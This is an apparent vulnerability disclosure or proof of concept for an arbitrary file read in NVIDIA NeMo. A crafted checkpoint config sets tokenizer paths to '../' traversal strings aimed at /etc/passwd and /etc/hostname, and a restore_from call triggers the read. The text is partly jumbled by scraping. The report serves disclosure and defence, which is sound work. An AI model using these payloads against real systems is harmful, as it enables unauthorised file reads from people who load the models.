Views
No views yet
.nemo Path Traversal / Arbitrary File Read (nemo: artifact paths)attacker.nemo is a
minimal, benign-looking NeMo ASR checkpoint whose model_config.yaml contains a
crafted tokenizer.model_path artifact reference that escapes the archive
extraction directory using ../ traversal.NVIDIA-NeMo/NeMo (main)nemo.core.connectors.save_restore_connector.SaveRestoreConnector.register_artifactmodel_config.yaml:1tokenizer:
2 type: bpe
3 model_path: "nemo:../../../../../../../../etc/passwd" # <-- traversal payloadnemo: value is resolved by register_artifact as
os.path.abspath(os.path.join(app_state.nemo_file_folder, src[5:])) with no
../containment validation, so it resolves to /etc/passwd — outside the
per-restore extraction sandbox — and the tokenizer then opens it automatically.1from nemo.collections.asr.models import EncDecCTCBPEModel
2EncDecCTCBPEModel.restore_from("attacker.nemo")_setup_tokenizer calls
register_artifact('tokenizer.model_path', 'nemo:../../../../etc/passwd'), which
returns /etc/passwd, and SentencePieceTokenizer(model_path='/etc/passwd')
opens that out-of-sandbox file. (It then errors because /etc/passwd is not a
valid SentencePiece proto — the security-relevant event, opening a file outside
the archive, has already occurred.)1tokenizer:
2 type: wpe
3 vocab_path: "nemo:../../../../etc/hostname"model.tokenizer.get_vocab().restore_from — no escalation.is_safe_tar_member; the payload
is a config string, so it bypasses the tar-extraction hardening entirely.